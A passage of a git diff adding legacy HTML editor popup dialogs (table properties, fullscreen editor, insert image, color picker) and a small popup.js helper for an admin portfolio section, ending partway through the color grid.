+    <td><select size="1" name="unit" id="f_unit" title="Width unit">
+      <option value="%" selected="1"  >Percent</option>
+      <option value="px"              >Pixels</option>
+      <option value="em"              >Em</option>
+    </select></td>
+  </tr>
+
+  </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+  title="Positioning of this image">
+  <option value="" selected="1"                >Not set</option>
+  <option value="left"                         >Left</option>
+  <option value="right"                        >Right</option>
+  <option value="texttop"                      >Texttop</option>
+  <option value="absmiddle"                    >Absmiddle</option>
+  <option value="baseline"                     >Baseline</option>
+  <option value="absbottom"                    >Absbottom</option>
+  <option value="bottom"                       >Bottom</option>
+  <option value="middle"                       >Middle</option>
+  <option value="top"                          >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/portfolio/popups/old-fullscreen.html b/admin/portfolio/popups/old-fullscreen.html
new file mode 100644 (file)
index 0000000..7c00d91
--- /dev/null
@@ -0,0 +1,131 @@
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<script>
+
+// if we pass the "window" object as a argument and then set opener to
+// equal that we can refer to dialogWindows and popupWindows the same way
+if (window.dialogArguments) { opener = window.dialogArguments; }
+
+var _editor_url = "../";
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');
+
+var parent_objname = location.search.substring(1,location.search.length);  // parent editor objname
+var parent_config  = opener.document.all[parent_objname].config;
+
+var config         = cloneObject( parent_config );
+var objname        = 'editor'; // name of this editor
+
+//  DOMViewerObj = config;
+//  DOMViewerName = 'config';
+//  window.open('/innerHTML/domviewer.htm');  
+
+/* ---------------------------------------------------------------------- *\
+  Function    : 
+  Description : 
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) {
+    update_parent();
+    window.close();
+    return;
+  }
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : cloneObject
+  Description : copy an object by value instead of by reference
+  Usage       : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+  var newObj          = new Object; 
+
+  // check for array objects
+  if (obj.constructor.toString().indexOf('function Array(') == 1) {
+    newObj = obj.constructor();
+  }
+
+  for (var n in obj) {
+    var node = obj[n];
+    if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+    else                         { newObj[n] = node; }
+  }
+  
+  return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : resize_editor
+  Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() {  // resize editor to fix window
+  var editor = document.all['_editor_editor'];
+
+  newWidth  = document.body.offsetWidth;
+  newHeight = document.body.offsetHeight - editor.offsetTop;
+
+  if (newWidth < 0) { newWidth = 0; }
+  if (newHeight < 0) { newHeight = 0; }
+
+  editor.style.width  = newWidth;
+  editor.style.height = newHeight;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : init
+  Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+  // change maximize button to minimize button
+  config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor',  'update_parent(); window.close();', 'fullscreen_minimize.gif'];
+
+  // set htmlmode button to refer to THIS editor
+  config.btnList["htmlmode"]    = ['HtmlMode',    'View HTML Source', 'editor_setmode(\'editor\')',  'ed_html.gif'];
+
+  // change image url to be relative to current path
+  config.imgURL = "../images/";
+  
+  // generate editor and resize it
+  editor_generate('editor', config);
+  resize_editor();
+
+  // switch mode if needed
+  if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }
+
+  // set child window contents
+  var parentHTML = opener.editor_getHTML(parent_objname);
+  editor_setHTML(objname, parentHTML);
+
+  // continuously update parent editor window
+  window.setInterval(update_parent, 333);
+
+  // setup event handlers
+  document.body.onkeypress = _CloseOnEsc;
+  window.onresize = resize_editor;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : update_parent
+  Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+  var childHTML = editor_getHTML(objname);
+  opener.editor_setHTML(parent_objname, childHTML);
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>
+
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>
+
+</body></html>
\ No newline at end of file
diff --git a/admin/portfolio/popups/old_insert_image.html b/admin/portfolio/popups/old_insert_image.html
new file mode 100644 (file)
index 0000000..613f460
--- /dev/null
@@ -0,0 +1,206 @@
+<!-- based on insimage.dlg -->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">
+<HTML  id=dlgImage STYLE="width: 432px; height: 194px; ">
+<HEAD>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta http-equiv="MSThemeCompatible" content="Yes">
+<TITLE>Insert Image</TITLE>
+<style>
+  html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };
+</style>
+<SCRIPT defer>
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function _getTextRange(elm) {
+  var r = elm.parentTextEdit.createTextRange();
+  r.moveToElementText(elm);
+  return r;
+}
+
+window.onerror = HandleError
+
+function HandleError(message, url, line) {
+  var str = "An error has occurred in this dialog." + "\n\n"
+  + "Error: " + line + "\n" + message;
+  alert(str);
+  window.close();
+  return true;
+}
+
+function Init() {
+  var elmSelectedImage;
+  var htmlSelectionControl = "Control";
+  var globalDoc = window.dialogArguments;
+  var grngMaster = globalDoc.selection.createRange();
+  
+  // event handlers  
+  document.body.onkeypress = _CloseOnEsc;
+  btnOK.onclick = new Function("btnOKClick()");
+
+  txtFileName.fImageLoaded = false;
+  txtFileName.intImageWidth = 0;
+  txtFileName.intImageHeight = 0;
+
+  if (globalDoc.selection.type == htmlSelectionControl) {
+    if (grngMaster.length == 1) {
+      elmSelectedImage = grngMaster.item(0);
+      if (elmSelectedImage.tagName == "IMG") {
+        txtFileName.fImageLoaded = true;
+        if (elmSelectedImage.src) {
+          txtFileName.value          = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1");  // fix placeholder src values that editor converted to abs paths
+          txtFileName.intImageHeight = elmSelectedImage.height;
+          txtFileName.intImageWidth  = elmSelectedImage.width;
+          txtVertical.value          = elmSelectedImage.vspace;
+          txtHorizontal.value        = elmSelectedImage.hspace;
+          txtBorder.value            = elmSelectedImage.border;
+          txtAltText.value           = elmSelectedImage.alt;
+          selAlignment.value         = elmSelectedImage.align;
+        }
+      }
+    }
+  }
+  txtFileName.value = txtFileName.value || "http://";
+  txtFileName.focus();
+}
+
+function _isValidNumber(txtBox) {
+  var val = parseInt(txtBox);
+  if (isNaN(val) || val < 0 || val > 999) { return false; }
+  return true;
+}
+
+function btnOKClick() {
+  var elmImage;
+  var intAlignment;
+  var htmlSelectionControl = "Control";
+  var globalDoc = window.dialogArguments;
+  var grngMaster = globalDoc.selection.createRange();
+  
+  // error checking
+
+  if (!txtFileName.value || txtFileName.value == "http://") { 
+    alert("Image URL must be specified.");
+    txtFileName.focus();
+    return;
+  }
+  if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {
+    alert("Horizontal spacing must be a number between 0 and 999.");
+    txtHorizontal.focus();
+    return;
+  }
+  if (txtBorder.value && !_isValidNumber(txtBorder.value)) {
+    alert("Border thickness must be a number between 0 and 999.");
+    txtBorder.focus();
+    return;
+  }
+  if (txtVertical.value && !_isValidNumber(txtVertical.value)) {
+    alert("Vertical spacing must be a number between 0 and 999.");
+    txtVertical.focus();
+    return;
+  }
+
+  // delete selected content and replace with image
+  if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {
+    grngMaster.execCommand('Delete');
+    grngMaster = globalDoc.selection.createRange();
+  }
+    
+  idstr = "\" id=\"556e697175657e537472696e67";     // new image creation ID
+  if (!txtFileName.fImageLoaded) {
+    grngMaster.execCommand("InsertImage", false, idstr);
+    elmImage = globalDoc.all['556e697175657e537472696e67'];
+    elmImage.removeAttribute("id");
+    elmImage.removeAttribute("src");
+    grngMaster.moveStart("character", -1);
+  } else {
+    elmImage = grngMaster.item(0);
+    if (elmImage.src != txtFileName.value) {
+      grngMaster.execCommand('Delete');
+      grngMaster = globalDoc.selection.createRange();
+      grngMaster.execCommand("InsertImage", false, idstr);
+      elmImage = globalDoc.all['556e697175657e537472696e67'];
+      elmImage.removeAttribute("id");
+      elmImage.removeAttribute("src");
+      grngMaster.moveStart("character", -1);
+      txtFileName.fImageLoaded = false;
+    }
+    grngMaster = _getTextRange(elmImage);
+  }
+
+  if (txtFileName.fImageLoaded) {
+    elmImage.style.width = txtFileName.intImageWidth;
+    elmImage.style.height = txtFileName.intImageHeight;
+  }
+
+  if (txtFileName.value.length > 2040) {
+    txtFileName.value = txtFileName.value.substring(0,2040);
+  }
+  
+  elmImage.src = txtFileName.value;
+  
+  if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }
+  else                           { elmImage.hspace = 0; }
+
+  if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }
+  else                         { elmImage.vspace = 0; }
+  
+  elmImage.alt = txtAltText.value;
+
+  if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }
+  else                       { elmImage.border = 0; }
+
+  elmImage.align = selAlignment.value;
+  grngMaster.collapse(false);
+  grngMaster.select();
+  window.close();
+}
+</SCRIPT>
+</HEAD>
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>
+
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">
+
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">
+
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">
+<LEGEND id=lgdLayout>Layout</LEGEND>
+</FIELDSET>
+
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">
+<LEGEND id=lgdSpacing>Spacing</LEGEND>
+</FIELDSET>
+
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">
+<OPTION id=optNotSet value=""> Not set </OPTION>
+<OPTION id=optLeft value=left> Left </OPTION>
+<OPTION id=optRight value=right> Right </OPTION>
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>
+<OPTION id=optBottom value=bottom> Bottom </OPTION>
+<OPTION id=optMiddle value=middle> Middle </OPTION>
+<OPTION id=optTop value=top> Top </OPTION>
+</SELECT>
+
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">
+
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">
+
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">
+
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>
+
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/admin/portfolio/popups/popup.js b/admin/portfolio/popups/popup.js
new file mode 100644 (file)
index 0000000..68cbeb2
--- /dev/null
@@ -0,0 +1,42 @@
+function __dlg_onclose() {
+       if (!document.all) {
+               opener.Dialog._return(null);
+       }
+};
+
+function __dlg_init() {
+       if (!document.all) {
+               // init dialogArguments, as IE gets it
+               window.dialogArguments = opener.Dialog._arguments;
+               window.sizeToContent();
+               window.sizeToContent(); // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var px1 = opener.screenX;
+               var px2 = opener.screenX + opener.outerWidth;
+               var py1 = opener.screenY;
+               var py2 = opener.screenY + opener.outerHeight;
+               var x = (px2 - px1 - window.outerWidth) / 2;
+               var y = (py2 - py1 - window.outerHeight) / 2;
+               window.moveTo(x, y);
+               var body = document.body;
+               window.innerHeight = body.offsetHeight;
+               window.innerWidth = body.offsetWidth;
+       } else {
+               var body = document.body;
+               window.dialogHeight = body.offsetHeight + 50 + "px";
+               window.dialogWidth = body.offsetWidth + "px";
+       }
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       if (document.all) {     // IE
+               window.returnValue = val;
+       } else {
+               opener.Dialog._return(val);
+       }
+       window.close();
+};
diff --git a/admin/portfolio/popups/select_color.html b/admin/portfolio/popups/select_color.html
new file mode 100644 (file)
index 0000000..d1fd26b
--- /dev/null
@@ -0,0 +1,346 @@
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html style="width: 238px; height: 182px"><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() {                                                       // run on page load
+  __dlg_init();    // <!-- this can be found in popup.js -->
+  document.body.onkeypress = _CloseOnEsc;
+
+  var color = window.dialogArguments;
+  color = ValidateColor(color) || '000000';
+  View(color);                                                          // set default color
+}
+
+function View(color) {                  // preview color
+  document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+  document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) {                   // select color
+  var color = ValidateColor(string);
+  if (color == null) { alert("Invalid color code: " + string); }        // invalid color
+  else {                                                                // valid color
+    View(color);                          // show selected color
+    __dlg_close(color);
+  }
+}
+
+function ValidateColor(string) {                // return valid color code
+  string = string || '';
+  string = string + "";
+  string = string.toUpperCase();
+  var chars = '0123456789ABCDEF';
+  var out   = '';
+
+  for (var i=0; i<string.length; i++) {             // remove invalid color chars
+    var schar = string.charAt(i);
+    if (chars.indexOf(schar) != -1) { out += schar; }
+  }
+
+  if (out.length != 6) { return null; }            // check length
+  return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+  <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+  <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+    id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+  <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
